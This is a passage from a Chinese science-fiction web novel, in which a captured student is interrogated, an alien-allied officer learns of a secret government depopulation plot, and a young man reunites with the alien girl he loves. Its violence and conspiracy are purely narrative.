她闭上了眼睛。
枪声迟迟没有响起,反而是前面的男人突然一头栽倒,倒下的身体掀起了地面的沙尘。
她吓了一跳茫然地抬起头,看见眼前陷入惊惶的几个男人太阳穴砰地射出一道血花,身体抽动了几下,纷纷僵硬地
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倒下。
似乎是……熟悉的场景?
这次,还是屠一鸿吗?
空气中硝烟弥漫,和浓重的血腥味混合做一起,分外呛人。
方才的枪战原来将空气灼热得滚烫,陈立新脸上滑落几滴汗水,直到四周陷入一片寂静,她才发现自己的头发和睫毛都已经汗湿。
悬崖上的寒风吹过,小腿因为冷热交替的刺激痉挛了几下,她哆哆嗦嗦地站起身,胡乱抹了一把脸上的汗水,微张着嘴,茫然地望向四周。
“有人吗?”
她往前走了几步,边走边喊。
“有人——”
下一秒,空气里贯过一线轻微的响动,是消音器的作用,悬崖上的女孩身体倏地变得僵硬,而后也慢慢倒了下去。
远处山林间的一角,草丛里的人对着通讯器,低声报告道:“已处决完毕。”
过了约三分钟左右,海边飞来一辆直升机,森林里陆陆续续走出一些人,他们身上的标识属于北海特遣部队,手持北海军方的器械,将悬崖团团包围。
一个高挑的女人从部队中走出,她的穿着与其他人并不相同,一身实验室白大褂,头发挽做低马尾,胸前口袋里夹一只做工精良,但已经有些老旧的钢笔,上面刻着世界生命收容所的金属标识。
她径直走过一具具男人们的尸体,冬日的寒风已经将他们的身体吹得冰凉。
行至悬崖尽头,几个军人将不省人事的女孩扶起,女人仔细地盯着女孩的脸瞧,确实与记忆里的人影重合。
她轻轻地点了点头,几个军人立刻将女孩送往直升机。
一个军人走到她面前,在她耳边低声说了句什么,她面色变了变,走到悬崖边上,望见远处几辆车正在向这边驶来。
那不是他们的人手。
女人微皱起眉头,转头对着军人严厉地嘱咐了几句,所有人听从她的命令,即刻开始清理现场,回收尸体。
在屠一鸿赶来之前,这里已经空无一物。
屠一鸿气喘吁吁地下了车,第一个冲上了悬崖,只看见光秃秃悬崖上大片的苍白天幕,几棵野草随风摇曳,仿佛什么都没有发生。
她一边走,一边一遍遍地喊。
“陈立新!”
“你们在哪里——”
第一次看见屠一鸿这样失态的模样,几个手下急得团团转,他们扒着悬崖边上往底下拼命望,除了几块黑色的礁石和拍来的阵阵海浪外,什么都没有。
寻找了半天,直到黄昏降临,在大地上洒下一层金色余晖,实在找不到人,一群人才只好作罢。
车辆在高速公路上行驶,在夕阳照射下,投下长长的一道黑影,边缘刀锋一样刻在昏黄公路上。
此行无获,一行人都没有说话,后座传来的气息阴沉冰冷,司机战战兢兢地开着车。
屠一鸿坐在后座上,微微皱眉,靠在窗边,心中思绪万千。
陈立新在被追杀的时候就给她发了信号,定位器显示在悬崖附近,但就在他们抵达的那一刻,突然就显示失灵。
方才已经排查了周围地区,废弃机场也去看过了,一个男人也没有,更别说尸体了。
阿图特或许有解决所有人的能力,但她再难以理喻,也不可能会杀害陈立新和凌风,也没有把现场处理得干干净净的动机。
显然,这场失踪,有第三方的插手。
屠一鸿心中生起一种不详的预感,紧皱的眉头越来越深。
接下来,她恐怕要遭祸了。
53.以我之名,将踏征途
“啪——!”
刺眼的白炽灯突然亮起,陈立新模模糊糊睁开眼睛,眼前射来的强光却唤起针扎似的疼痛。
她猛地低下头,本能地想伸手遮挡,下一秒,却惊恐地发现双手已经被枷锁牢牢固定在了冰冷的铁桌上。
一个女人逆着光,坐在她面前,安安静静地看着她。
等到面前的女孩渐渐回过神来,用那双布满血丝的眼睛疑惑地看向自己,女人才缓缓开口。
“你来北海的目的是什么?”
陈立新吓了一跳,眼神有些犹豫地偏向一边。
“我其实是来北海找导向旅游的,然后被无人区的劫匪打劫了……啊!!!”
手腕和脚踝传来一阵强烈的电流,陈立新俯下身子惨叫一声,全身因为电流的刺激抽搐起来,手腕的青筋暴起,额上滑落几滴冷汗,滴在铁桌上。
女人平静地注视着眼前的女孩,她左手把持一只钢笔,在铁桌边缘有节奏地轻轻敲击。
“你来北海的目的是什么?”
陈立新惨白着一张脸,哆嗦着嘴唇,抬起头回道:“说过了,我是来旅游……啊!!!”
下一秒,更强烈的电流贯穿全身,陈立新翻了个白眼,一头倒在铁桌上,全身因为电流的残存游走轻微抽搐。
这次她连抬头的力气也没有了。
女人嘴角轻轻扬起一个微笑。
“看来,你没有接受审讯的经验。”
不再去看趴在桌面上的女孩,女人拿起桌上的资料,慢条斯理地细数她这几天的去向。
“……十二月八日,于北海特批研究人员队伍中随行,入驻于研究院大楼。”
“……十二月十日,于午间出入北海商业区游乐城,购买彩票后回到研究休息区,在晚间七点离开,期间未做去向报告,于凌晨一点三十五分返回研究休息区。”
“……十二月十五日,于上午七点二十五分前往北海研究院大楼,在午间短暂出入食堂后,回到研究院大楼,于晚间七点四十七分离开,前往研究休息区。”
“此后的两天,基本相同。”
说道这里,女人不紧不慢地掀起眼皮,看了一眼面前的女孩。
后者已经渐渐缓过劲来,但此时身体的轻微颤抖似乎不是因为电流的刺激所导致。
女人垂下眼睫,继续陈述眼前的资料。
“然而,你在十二月十七日,于上午七点二十三分前往北海研究院大楼,在内部工作至晚间七点十五分后,在回家的出租车上突然转变行程,前往海半月酒馆。”
“在与朋友聚会约两个小时左右后,你离开酒馆,前往酒馆附近的停车场,七分钟过后,你与前来接应的人潜藏在停车场附近,一路跟踪袁立至第二天凌晨五点十二分。”
“直到接近北海海域附近的辐射污染区后,你们才突然转变方向,于古里高速公路左岔口离开。”
女人放下手中资料,看着眼前的女孩。
后者重新慢慢抬起头,坐正身体,用一种强作镇定的眼神看着自己,嘴角却紧张地抿成了一条直线。
这幅样子在她眼里,有种年轻人莽撞的滑稽。
女人忍不住露出一个怜悯的微笑。
“看得出来,你没有能瞒过测谎仪的能力,乖乖说实话,还能少受一点罪。”
女人靠向椅背,把玩着左手的钢笔,轻轻敲击桌面。
“我最后再问你一次,你来北海的目的是什么?”
陈立新看着面前这个陌生的女人,眉眼间有一种诡谲的熟悉感,那周身若有若无的危险气息,让她突然想起一个人。
可恶,屠一鸿现在在哪里……
她究竟被俘虏了多久,连屠一鸿和萧衍都搞不来人救她?
等等,不对!
陈立新晃了晃头,强制昏昏沉沉的意识清醒过来。
刚才女人手中的资料已经说明了一件事,能在北海手中搞到内部的研究人员行程,萧衍恐怕和这群人是一伙的!
如果这伙人已经向萧衍报告了自己的可疑,而屠一鸿又在自己失踪后去找他求助,恐怕此时此刻,连屠一鸿那边也凶多吉少……
如此想着,心高高地悬了起来,陈立新犹犹豫豫地开口道:“我作为大学城的学生,其实一直很崇拜袁立主席,一直很想跟他见面讨教。”
“在酒馆意外看见他后,一时冲动,就雇了人去跟踪他,中途才迷途知返,觉得自己这样子的行为不对,很不正常,所以后面就又回来了。”
好像编得还不错?测谎仪也没有反应。
看着眼前女人平静的眼神,陈立新突然感到心中多了一点勇气。
她暗暗定住心神,接着说道:“至于海边悬崖的事情,是我的一项研究任务,需要去找一样活体研究材料,知道那边刚好有这种材料出没,就叫了人和我一起去找。”
“没想到中途那帮人居然反水,要杀了我和我的的同伴,我们慌不择路,一路逃到悬崖边上,我以为就要死了,就把他推下海,然后就没了,现在就坐在这里了。”
说到这里,陈立新脸上露出后悔自责的神色,诚恳地注视着女人的眼睛。
“我保证下次不会这样了,跟踪别人是我不对,我也没想到会有这样的后果。”
“还有就是,我的同伴,你们找到他了吗?他受了重伤,现在需要治疗,研究小队的人应该也在找他。”
陈立新说着说着,眼中流出泪水,哽咽道:“这些事情都是我一个人做的,你们查了我的资料,也知道这些天我都是一个人行动,根本不关其他人的事。”
“求求你们,放过其他人吧,凌风和屠一鸿都是无辜的,我做错的事情,就让我一个人承担!”
说着说着,陈立新突然观察到,听到屠一鸿这个名字的一瞬间,女人的脸色变了变,身体不自然地僵硬了一秒,敲击钢笔的动作突然顿住。
审讯室徒然陷入一片沉默的死寂,陈立新的脊背慢慢爬上一阵寒意。
“屠一鸿?”
女人缓缓开口,眼神如刀锋一般冷冷地盯着她。
“她跟你的研究项目也有关系?”
“她是我们的课题小组组长,但是我在找材料的事情她也不知……”
“够了,她会不会参与我当然知道!”
女人突然厉声打断陈立新的话,陈立新茫然地抬起头,有些不知所措地看着女人的脸。
这张脸,真的很眼熟……
女人的突如其来的反应立即引起了门外守卫的注意,铁门外轻轻响起几声敲击声,似乎是在询问些什么。
女人缓缓呼出一口气,靠向椅背,不再发话,门被立即打开,进入两个装备精良的军人。
陈立新注意到他们臂上北海特遣部队的标识,于是悄悄低下头,默不作声。
虽然如此,却支起耳朵努力去听,在隐隐约约听见女人向军人们严厉地嘱咐了几句后,清脆的脚步声响起,逐渐远去。
看来是那女人离开了。
她悄悄抬起头,却看见两腔黑洞洞的枪口直指自己的脑门,大脑瞬间一片空白,身体也被吓得僵在原地。
就要这么死了吗?
还好没有发生这种事,两个军人举着枪,慢慢绕到她背后,一个解开她手脚的枷锁,一个抓住她的手腕,将她压倒在桌上。
感到手腕被拷上新的镣铐的那一刻,冰冷的触感反而让她感到一丝心安。
那是还允许她存活的象征。
视线被黑色的布料蒙蔽,陈立新感到自己被架着走出审讯室。
老实说,现在的情况也在意料之中,从那个女人的白大褂和这些军人的臂上标识就可以看出来,她多半是被袁立的人挟持了。
现在萧衍和袁立狼狈为奸,不知道偷偷摸摸在搞什么鬼东西,屠一鸿不是本地人,现在多半也自顾不暇。
红派那边本来就势单力薄,估计也伸不了这么长的手,祝吟辰远在天外,阿图特不知所踪,凌风更是生死未卜。
总而言之,这次只能靠她自己,试着逃出这个鬼地方了。
想到这里,陈立新暗暗握紧拳头,下定决心。
一定要加油啊,陈立新!
……
将最后一捧土轻轻洒下,又用力按压了几下土堆,他们的遗物就算是葬下了。
祝吟辰站起身,看着这座小小的坟墓,一座微微隆起的土堆。
昔日同伴们的身影浮现在眼前,又如迷离淡薄的云雾,渐渐消逝去。
大地笼罩上一层淡淡的绯红,照射在坟墓土堆上,仿佛其中血液溢出,四散漫延一般,她凝视着这浓重的颜色,将目之所及处尽数浸染。
生与死的本色,原来如此相近。
“伊塔,总算找到你了。”
身后响起熟悉的声音,祝吟辰转过身,那个残疾的拉姆站在她背后,静静地注视着自己。
天色已有些晚了,眼前的拉姆逆着光,面容看不清楚,只是一片模糊的黑。
她的身后是深红的天幕,赤色将她黑色的身影勾勒,周边黑色树影轻轻摇曳,林间的风声沙沙作响。
祝吟辰突然感到一丝没由来的惧怖,心脏好像被什么东西猛地刺痛了一下。
见她没有反应,拉姆继续说道:“伊南娜阿努萨此时正在空居,要等你去那边吃肉喝酒。”
说完,拉姆一瘸一拐地让开身位。
祝吟辰这才发现,树
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林口处远远地停着一只大颚,身后两条毒鞭有些不耐烦地甩来甩去。
空气被狠狠抽打的声音远远传来,听起来凄厉极了。
看着那熟悉的身影,祝吟辰猛然回过神来,立刻握住拉姆的手,轻轻抱住对方。
“我知道了,谢谢你。”
走到树林边上,距离近了,祝吟辰终于看清,来接她的果然是多日不见的尼努尔塔。
“你怎么来了?”
祝吟辰不客气地爬上尼努尔塔的背上,一屁股坐下来,嘴角忍不住轻轻扬起。
她其实早就想这么干了,她还没安安稳稳地骑过大颚呢,这种感觉还是很新颖。
尼努尔塔冷哼一声,驮着祝吟辰,向空居的方向走去。
“我刚好就在附近,又是离这边最近的大颚,所以就由我来接应你。”
“原来如此,”
祝吟辰点了点头。
“说起来,你的左眼怎么样了?”
“我失去了它,从今往后将以新的姿态战斗。”
“那你最近怎么样?”
“这边的生活过于平静,跟沙漠比起来太过单调。”
尼努尔塔顿了顿。
“但稳定的生活,也是一种幸福。”
祝吟辰慢慢躺下,张开身体,大颚宽阔的背部和巨大的身体带给人一种安全感。
她仰望着深红的天空,和高悬的、血红的一轮,仿佛心脏也被慢慢剖开铺平一般,滚烫的血液向四周漫延开去。
“那你喜欢这种生活吗?”
“不喜欢。”
“为什么?”
“不为什么。”
不知为何,对于尼努尔塔石头一样硬邦邦的回答,祝吟辰并不感到生气。
她闭上眼睛,面上轻轻扬起一个微笑。
她其实也不知道自己为什么突然就想和尼努尔塔推心置腹,只是在看到零启计划的资料后,心里渐渐生出一个问题,隐秘地深藏在潜意识里,令她感到……悲伤。
“你不喜欢这种生活,还来守护这样的生活吗?”
尼努尔塔还没来得及回答,背上的阿努突然转动身体,侧躺着,轻轻抚摸她的背部铠甲。
“如果有一天,你发现自己守护的生活其实并不安稳,也不幸福,而是极少数阿努弄出的假象,那些光辉的誓言,不过是一个巨大的谎言,所编造出来的幻觉。”
“如果有一天,你发现,那些坚持许久的东西,那些自以为是为了大多数的正义感,不过是那些极少数为了谋取利益,养尊处优,哄骗你去管教、制服大多数的工具。”
“如果真的有这一天,”
尼努尔塔感到背上传来的声音似乎有些哽咽了。
“尼努尔塔,你会怎么办?”
气氛突然陷入一片沉默,良久,尼努尔塔叹了口气。
“伊塔,你似乎有很重要的心事,又有很多解不开的心结。”
“我身在其外,对此并不了解,因此只能告诉你,我知道的事。”
“幸福是存在的,斗争也是存在的,无论我们选择哪边,只要我们还活着,这片土地上就注定要流血,我们来自大地深处,也终究要被大地吞噬。”
“身为大颚,我们征战沙场,杀戮数不尽的生命,守护阿努的荣耀,是我们毕生的使命。”
“但你是知道的,我们背叛了纳姆,选择了你和安提。”
祝吟辰的心脏突然激动地抽动了一下,全身突然变得滚烫起来,她的眼睛慢慢有了神采。
“阿努的荣耀从来不在于我们的献忠者是谁,只要你还在这里,心中抱有正义,无论你将前往何地,或是背叛,或是忠诚,你所要前往的方向,就是阿努的荣耀。”
“你可用那崇高的卵巢播种,你可用你强健的躯体征服,你所要踏足之地,就是你的疆土,你所要繁衍之地,就是你的文明。”
“一个阿努,就是一个国度。”
祝吟辰猛地坐起身,她眼眶泛红,泪水不由自主地汹涌而出,激动地抱住尼努尔塔头上的独角,双肩因为抽噎止不住的抖动。
是的,即使知道了一直以来身处那样罪恶的谎言之中,但那些她所承诺过的,她所坚持过的,难道会是谎言吗,难道会是幻觉吗?
不是的,那是她所命令的正义,那是她以个人的意志,所执行的最伟大的功绩。
AGPC的命令也好,那些人类、文明之类的宏大叙事也好,都已经无关紧要了。
他们将那些口号看成是用来欺瞒大众的上流阶层把戏,是他们的事,而她将要用个人的名义,将其一一兑现。
因为,这就是她要所命令的。
一个女人,就是一个国度。
54.零启之前,孰真孰假
“伊塔,这边。”
“谢谢。”
阿利都睁大眼睛,仓惶地看了一眼祝吟辰,似乎是对这番意料之外的感谢感到受宠若惊,慌慌张张地退了下去。
祝吟辰坐在伊南娜边上,看见尼努尔塔坐到离她们更远一点的地方,看来她好像更喜欢宽阔安静一点的空间。
这里是上次在空居这边来过的水上宫殿,令祝吟辰感到惊讶的是,这里似乎并没有受到季节的影响,跟她和安提上次来到这里时一样,这里仍旧温暖如春,生机勃勃。
连巨树上的花都还开着,祝吟辰轻轻拈起一片飘落的花瓣,抬头看向醉醺醺的伊南娜。
“叫我来做什么?”
伊南娜没说话,阖着眼睛半躺在树根交错的席座上,脸色红润微醺,看样子还没醒过神来。
“……”
如果她也假装醉酒,是不是就可以找个神志不清的借口把伊南娜疼扁一顿?
见祝吟辰脸上已经有些愠色,一旁的几个阿利都连忙奉上美酒佳肴,用各种容器盛放的大块兽肉,醇香芳芳的美酒,熟透饱满的鲜果,颗颗红宝石般点缀在桌上。
祝吟辰越看越觉得骄奢淫逸,连忙抬手拦住还要往上送菜的阿利都。
“谢谢,够了,我不是很饿。”
阿利都看着她微皱的眉头,有些不知所措了。
这样子做,她不开心吗?
他抬着手,和其他几个同伴对视一眼,都感到有些难堪和惶恐。
“好了,好了。”
伊南娜渐渐清醒了一些,她打了个哈欠,随意地摆摆手,几个阿利都连忙退下。
桌尾边缘处,尼努尔塔皱着眉看了一眼刚刚啃了一口的兽肉。
怎么是熟的?
雷电劈过的木头味道……
“带她上来吧。”
伊南娜呈起花朵和宝石制成的酒杯,痛快地一仰头,一饮而尽。
巨大的花瓣帘帐外逐渐有了动静,祝吟辰看见外面似乎有几个阿利都架着一个拼命挣扎的黑影,踉踉跄跄走上前来。
她拿起一个果子啃了起来,鉴于上次的经验,对于这黑影真实身份的猜测,不仅感到有些汗颜。
不会又是一个倒霉的阿利都吧?
她可没有吃阿利都的癖好啊……
就是能吃,现在也完全没有必要吧,她又不想做虫母。
下一秒,帘帐外的声音彻底打断了她的思绪。
“放开我!”
“野蛮的虫族,恶心的物种!”
祝吟辰动作顿时僵住了,手中的果子啪一声掉在桌面上。
帘帐被外面的阿利都气喘吁吁地掀开,其他阿利都按着那个黑色身影的背部,捆住她的手,强制她跪在地上,不让她站起身。
尼努尔塔不屑发出一声嗤笑,祝吟辰脸色霎时变得苍白,她看着跪在地上的人,一时间大脑一片空白,说不出话来。
林筑……?
她怎么会在这里?
她不是被调到北海,还帮助过自己寻找屠一鸿和屠启的情报吗?
在她美好的回忆里,林筑是充满探索欲,虚心好学的后辈,永远冲在第一线,一身的特遣部队军服永远干净笔挺。
然而现在,面前的林筑浑身泥泞,衣衫褴褛,面黄肌瘦的脸上满是脏污。
祝吟辰的手指微微颤抖。
如果这才是林筑,那一直以来,跟她在电话里联系的那个小林是谁?
“如何处置?”
突如其来的声音吓了她一跳,她一时慌了神,抬头看见伊南娜面颊绯红,微笑着看着自己,掌中的酒杯轻轻晃动。
她感觉自己也在随着酒杯晃动,一种庞大的晕眩感几乎要将她吞没。
见祝吟辰不说话,伊南娜看向正在皱着眉头嗅闻烤肉的尼努尔塔,笑着问道:“如何处置?”
尼努尔塔冷哼一声,站起身,宣告自己将彻底放弃尝试雷电劈木头的滋味。
然后带着果决的杀意,向林筑一步步走去。
这幅场景将祝吟辰彻底刺激回神,身体比意识反应更快,她猛地站起身,大喊道:“你们不先搞清楚她的来路吗!”
尼努尔塔停住脚步,看向祝吟辰。
她原本想送过去一个鄙夷的眼神,但一想到祝吟辰现在似乎心情很糟糕,只好勉强在半路改作一个无语的眼神。
祝吟辰立刻意识到面对一个“未知的异族”,自己的情绪似乎有些过于激动了。
她强作镇定,慢慢坐下来,对着尼努尔塔的方向,说道:“现在局势紧张,每一个突如其来的势力都不能潦草处理。”
“我们应该先从她口中得知更多的信息后,再商量该如何——”
祝吟辰感到心脏突然刺痛了一瞬,口中的话无比艰涩。
“处理她。”
强压下心底的慌张,她用坚定的眼神看了看尼努尔塔,又看了看伊南娜,像是一个谦虚的智者如实说出了她绝对公正的建议。
伊南娜嘴角勾起一个微笑,看着酒杯上的宝石,什么也没说。
尼努尔塔却不动半步,冷冷回道:“如果是安提,她会动手比我更快。”
祝吟辰感到心中似乎有什么东西啪地一声,轻轻断裂开。
她面色不改,平静地说道:“我是我,安提是安提。”
“我有我处理事情的方式,而且我相信,采取我的建议,会让我们的未来变得更好。”
尼努尔塔正要再辩,但一想到祝吟辰的性格,比安提更固执,于是决定还是直接执行更好。
她转过头,不再多言,只是径直向林筑走去。
人类的身躯远比大颚的更渺小,细小的长条状结构,外部插着更为细小的四条肢节,仿佛虫足轻轻一挥,就会轻易折断。
尼努尔塔俯视着眼前的异族,她巨大的颚部高悬于那小小的头颅之上,而后者那双眼睛阴沉地瞪着自己,毫无恐惧,满是愤怒。
实际上,她第一眼就看出来,这是个英勇的战士。
所以,就绝不能辜负她应得的下场。
身体带动巨颚开始发力,尼努尔塔高昂起头部,猛然挥斩——
一只利爪抓住她的颚部,其发出的巨大力量居然强行止住了她的发力,将她的巨颚牢牢困住。
祝吟辰站在林筑面前,冷冷地盯着尼努尔塔的眼睛。
“你最好不要挑战我的耐心。”
尼努尔塔愣住了。
四周氛围死寂般的安静,空气像是凝结了,只有汩汩的水流声在响动。
意料中的愤怒和嘲讽并没有到来,祝吟辰看到尼努尔塔看着自己的眼神慢慢变化。
那是一种她看不懂的眼神,比深海更晦暗,更沉默,没由来的让她感到一丝……愧疚。
但现在,她决不能让步。
她回过头,看见林筑瘦削的身体在夜风中微微发抖,那双疲惫的眼睛有些疑惑地望着自己,似乎是在惊讶虫族之间也会起冲突。
“好了,好了。”
伊南娜有些看不下去这突然悲伤起来的气氛,她摆了摆手,几个阿利都突然冒出来,小心翼翼地将僵持不下的两个阿努分开。
尼努尔塔不耐烦地一挥虫足,吓得扶她的阿利都慌忙退后几步。
“行了,我的腿比你们多。”
祝吟辰也礼貌地侧过身子,谢绝了阿利都的搀扶。
“谢谢,不用了,我自己回到座位上。”
伊南娜大手一挥,几个阿利都一拥而上,将林筑架起来,林筑又惊又怒,骂了几声,被绑着走出帘帐。
祝吟辰转过视线,担忧地看向伊南娜,后者回以微微一笑。
“聪慧的伊塔,期待你的指引。”
……
夜已深了,这次得在空居歇息了。
林筑已经被阿利都们送到了她的屋子里,五花大绑的人,在角落里瞪着她,嘴里骂骂咧咧。
无视对方发泄式的辱骂,祝吟辰先出门转了一圈,确认完附近的阿利都都已睡下,才又悄悄回到屋内。
“别骂了。”
祝吟辰走到林筑面前,坐到地面上,盘起双腿,一只手撑着下巴,注视着对方。
对方明显愣了一下,眼前这只虫族居然说出了人类的语言!
林筑慢慢低下头,喃喃道:“虫族的学习能力居然如此智能吗?”
“我是祝吟辰。”
祝吟辰伸出手,拂去林筑面上的几缕头发,开始解去对方身上捆绑的藤蔓。
几个月不见,曾经的下属居然已经瘦成这幅样子。
“我是你曾经的上司,前任战前难民第三驻地遗址少校,现任职于星际特工局,为AGPC效力。”
“你在前三年来到第三驻地遗址,在短暂服役后成为第三小队队长,在半年前主动申请调任北海,工作内容不对外公开。”
“这些,你还记得吗?”
林筑看着祝吟辰的脸,眼眶渐渐湿润了。
“我记得的。”
二人并排靠着墙壁,一番闲聊后,林筑彻底接受了眼前阿努的真实身份,也大致了解了这些天蓝星上发生的事情。
“……刘洋他们最后选择进洞探查,我和张云帆留在外面看守。”
林筑平静地叙述着几个月以前发生的事。
“我们在外面等了两个小时左右,通讯器都要摁烂了,一直没能等到刘洋他们的消息。”
“等到天已经变红了,我和张云帆都觉得下面已经出事了,我决定按照原计划,开始收拾东西,但那时通讯器突然就来了讯号。”
说到这里,林筑叹了口气。
“虽然里面传来的声音断断续续的,根本听不清,但张云帆还想再拼一把,下去看看。”
“我劝了半天,拗不过他,只好跟着他去了,下去不到百米远,一种拳头大小的虫群突然冲出来,将走在我面前的张云帆啃了个精光。”
“我当时吓坏了,只知道掉头就跑,装备没来得及捡,跑到了一个森林才停住,那个时候我知道,队伍里就剩下我一个人了。”
祝吟辰偏过头,将林筑的头轻轻揽到自己
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肩上。
“能在这里独自存活到现在,你一定吃了很多苦。”
林筑笑了笑。
“肯定的,我才不会轻易死去。”
祝吟辰也笑了笑,却又轻轻低下了头。
现在或许不是时候,但她脑海里的那个问题已经呼之欲出。
“所以……”
她抬起头来,温柔地看着林筑的眼睛。
“那个零启计划,为什么我不知道?”
祝吟辰的视线望过来的那一刻,林筑顿时僵住了,大脑瞬间一片空白。
房间陷入一片安静。
过了几分钟,林筑突然释然了一般,重重地靠在墙壁上,嘴角勾起自嘲的笑意。
“也是,你那么聪明,肯定能发现蛛丝马迹……”
“告诉我一切,林筑。”
祝吟辰用力地捧住林筑的脸,盯住对方的眼睛。
这是她第一次用这样不容置疑的语气和下属说话。
二人对视许久,时间一分一秒过去,林筑最终败下阵来,默默点了点头。
“零启计划早就在五年前就开始执行了,原案由AGPC科技管理局提出,目的是为了解决蓝星资源短缺而引起的人口过剩。”
“计划中包括了大量有关如何筛选优质人口,重建世界新格局的举措,”
“具体分为四类,生物战争,金融战争,生命收容和集权控制。”
祝吟辰心脏猛地刺痛一下。
“以杨威为首的AGPC十二主席投票通过了零启计划的提案。”
“袁立和总指挥姜安发起合作,负责以联合城邦为中心,以下邦外围为开端,时期性地传播“AGPC卫生局也治不好”的疾病,”
“在这个基础上,总指挥提出了阿努特纳斯计划,目的不仅是派遣特工寻找虫母坐标,实现殖民掠夺,还有进行生物研究,获取可控的外星病毒,用以支持袁立的人类清除计划。”
“原能源和金融大亨顾秦安负责把控联合城邦内外的经济发展,根据时局需要联合银行,发动金融危机。”
林筑说到这里,顿了一下。
“不过,听你刚才一说,他估计已经被新主席周明暗地里干掉了,周明是黑环背后的老板,这大概也是袁立选择跟随他的原因吧。”
“生命收容是世界生命收容所和无人区特遣部队强制提出的,他们不归AGPC管理,又对无穷无尽的战争已经失去了兴趣,也不觉得零启计划真的能够实现,只希望在AGPC把全体人类玩死之前,至少给其他无辜的物种留下火种。”
听到这里,祝吟辰恍然大悟。
“所以无人区特遣部队才有了和世界生命收容所的合作项目,我当初的驻地也是,要定期派人送探测到的生命样本过去。”
林筑点了点头。
“是的。”
“至于集权控制的最后一环,是多重的,包括以孙志成为首的执行部队,联合城邦法院,和文化教育局长在内,先排斥镇压下邦人的一系列人权,将其建设成为联合城邦发展的最低级劳动力工厂后,再逐一将相同的措施布置到上邦以内。”
“直到人口精减到五十万,联合城邦高度自动化智能化,权力全部集权到AGPC中枢管理层后,零启计划才算执行完成。 ”
说到这里,林筑突然陷入了沉默。
祝吟辰忍不住一把抓住林筑的衣领,强行压下声音,怒道:“你为什么要加入这种计划?!”
“你也是在下邦长大的人,你难道不知道这种计划有多么邪恶吗!”
林筑猛地抬起头来,红着眼睛吼得更大声:“你懂什么!”
“我能不知道下邦是什么样子吗?”
“我能不知道下邦是什么样子吗?!”
祝吟辰咬着牙,喉咙像是被扼住,发不出声音。
“那是猪狗畜生的住处!垃圾遍地,污水横流,街上遍地都是屎尿,到处都是罪犯,五岁就上街抢劫斗殴的贱种!”
屋子里陷入一片死寂。
祝吟辰沉默了许久,眼底透出雪一般的悲伤。
“可是你知道的,那是因为AGPC的决策,才使得他们不得不以那样的方式——”
“所以说就让他们去死啊!”
再也忍受不了面目全非的场面,眼前的人像是终于彻底撕破皮囊,露出可怕獠牙的怪物,曾经的种种,原来真的只是一场你情我愿的角色扮演。
如果这一切都可以归结于一个具体的凶手,如果她可以将其抓获,这一切是否还有握手言和的余地?
如果这一切都可以归因于别有用心之人的操纵,那是否所有的罪人都应该得到原谅?
如果这一切都将继续循环万万次……
贫穷的人失去道德,富裕的人保持高尚。
祝吟辰感到自己的心脏在一点点变冷、变脆,轻薄如纸做的一般,散落作无数碎片,渐渐沉落海底。
“……晚安。”
她站起身,走出门外。
她想,她大概还要想很久、很久。
55.此间她既新生,将行追逐月去
【本章微恐预警】
海风吹拂过,天色已近傍晚。
高速公路底下的半月牙状海湾边界,大片延展过去的沙滩上,一眼望去,方圆百里光秃秃的,一片荒芜。
远处传来一声鸟叫,沙滩礁石的阴暗一角,一只露出的手突然抽搐一下,凌风捂着脑袋,闷哼几声,慢慢地坐起身来。
等到感到身体的不适感渐渐退去,他才慢慢睁开眼睛,茫然地看了看自己破破烂烂的裤子和上衣,抬头四周望去。
“这是……”
“我还活着?”
眼前是一片荒无人烟的沙滩,星星点点遍布着各种废弃金属器械和人造垃圾,一团乱七八糟的高饱和彩色线圈被埋在不远处,不知道底下连接着什么。
腰间的伤还没有痊愈,凌风咬着牙,扶着腰,缓缓站起身,一瘸一拐地在沙滩上乱走。
望向海面,海水的颜色看起来要比天色更浑浊一点,地平线那头的海浪闪着诡异的油腻光泽,一阵又一阵地扑过来,晶莹水花哗啦啦地响动着,沙滩上留下一道道灰色的海沫。
凌风四处望着,一边走,一边卯足力气喊叫。
“有人吗——”
“有——人——吗——”
……
等到天色渐晚,黑夜低低地压下海面时,他才停下脚步,一屁股瘫倒在沙滩上。
完了,一切都完了。
原来好歹是被枪打死,还算是个痛快的。
现在好了,说不好,他就要活活饿死在这里。
他捂住脸,几乎有要哭的冲动。
事到如今,怎么会搞成这样?
“你怎么还不走?”
背后突然传来熟悉的声音,简直像是走马灯回忆里传出来的一般不可思议。
凌风惊诧地回过头,阿图特正站在他的背后,俯下身子低着头看他,脸上挂着一副不解的神情。
她其实已经悄悄在他身后跟了许久。
原以为他既然站起来了,就能自己走出去,找到人类聚集的落脚点,没想到人类居然如此不了解自己居住的星球。
呃,等等!
人类好像没有毒液可以标记地点来着……
那看来是她弄错了。
看着心心念念的她就站在眼前,凌风的大脑瞬间一片空白。
他猛地站起身,抓住阿图特的双臂,激动地喊道:“我终于找到你了!”
原本因为自己弄错,而感到尴尬的心情还未释然,听到这话,阿图特脸上的疑惑更深了。
“为什么要找我?”
凌风听到这意料之外的话脸上的笑容渐黯淡下来。
她居然这么笨,连自己为什么要找她都不知道吗?
也是,自己的心情,似乎也从来没有清楚明白地坦诚过。
那么,就在此刻吗?
他轻轻捧起阿图特的脸,眼底透出少年真挚而青涩的深情。
“因为,你是我非常重要的人。”
“我不是人。”
凌风笑了笑,将阿图特揽入怀中,轻声说道:“在我眼里,你已经和人类没有区别了。”
“你不知道的是,你是在我最艰难的时期来到我身边的。”
“那段时间,我父母刚刚离婚,因为不愿意回家,我就常常跑到网吧里过夜,醒了就打游戏到睡着为止,一天只吃一顿饭,就这样乱七八糟地活着,每一天都浑浑噩噩的过。”
“后来,为了和同学们玩得更好,我跟着他们来到小公寓,加入了红派。”
说到这里,凌风脸上情不自禁露出一个温柔的微笑。
“你知道吗,那天傍晚,在小公寓里第一次见到你的那一刻,我就觉得你是我生命中的救赎,好像深海底的冥河水母,穿越遥远宇宙漫漫星河,奇迹般来到我身边。”
阿图特任由凌风抱着,没有其他动作,眼底却透出些不知所措的茫然。
未经她的主观意志执行,而莫名出现的价值,也要认领在她自己身上吗?
她生下来,明明两条胳膊两条腿,一个脑袋悬在脖子上,形单影只,四处行走。
怎么这其中,就突然有了对别人的意义?
“阿图特。”
凌风突然轻唤了一声。
“什么?”
“我爱你。”
她还没来得及想明白,耳边突然来了这么一句人类电视剧里的台词,一时间更为迷惑。
原来那些电影和电视剧里的桥段,是可以在现实里真实发生的吗?
她之前一直以为,电视里的那些小人是跟动画片和纪录片一样的东西,比如会说话的兔子,发射激光的飞天人类,穿抹胸裙的火腿肠什么的,都是对现实生物的一种模拟式再创造。
